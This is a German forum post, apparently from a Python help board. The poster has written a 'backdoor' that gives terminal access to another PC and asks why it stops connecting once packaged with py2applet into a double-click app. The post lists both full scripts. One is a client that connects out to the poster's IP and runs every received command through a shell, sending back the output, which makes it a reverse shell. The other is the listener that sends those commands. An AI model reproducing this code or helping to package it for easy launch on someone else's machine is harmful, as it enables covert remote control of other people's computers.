ich habe mir eine Backdoor geschrieben, mit der ich Zugriff auf den Terminal eines anderen PC's habe.
Zum Verständnis beschreibe ich einmal den Ablauf:
Ich aktiviere bei mir auf dem Terminal den BackdoorSender, dann führe ich auf einem anderen PC die Backdoor ,auf dem Terminal, ebenfalls aus. Das klappt auch alles soweit.
Jetzt hatte ich mir überlegt, dass es ja leichter ist, wenn auf dem zweiten PC nur ein einfacher doppelklick ausreicht, um die Backdoor zu aktivieren. Dafür habe ich nun py2applet benutzt. Wenn ich jetzt die App und den Sender an meinem Laptop ausführe klappt es auch. Sobald ich die App allerdings auf einem anderen PC starte kann die Backdoor sich plötzlich nicht mehr zum Sender verbinden. Auch wenn die App auf dem Zielgerät angefertigt wurde klappt es plötzlich nicht mehr.. Es geht nur auf einem einzelnen PC. Ohne App, sondern durch Ausführung im Terminal kann man jedoch Netzwerkfremde PCs ansteuern..
Wisst ihr warum das mit der App nicht mehr klappt?
Hier mal der Code auch, wenn der ja funktioniert, vielleicht hilft es ja...
Code backdoor:
Code: Alles auswählen
import socket
import subprocess
host = 'HIER STEHT DIE IP'
port = HIER STEHT EIN FREIER PORT
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("Backdoor running.")
while True :
data = s.recv(256)
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout = proc.stderr.read()
stderr = proc.stdout.read()
s.send(stdout)
s.send(stderr)
s.send("done")
Code backdoorsender:
Code: Alles auswählen
import socket
host = ""
port =
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Connection to " + addr[0])
data = connection.recv(256)
print(data)
while True:
cmd = raw_input("Command: ")
connection.send(cmd)
data = connection.recv(256)
print(data)
connection.close()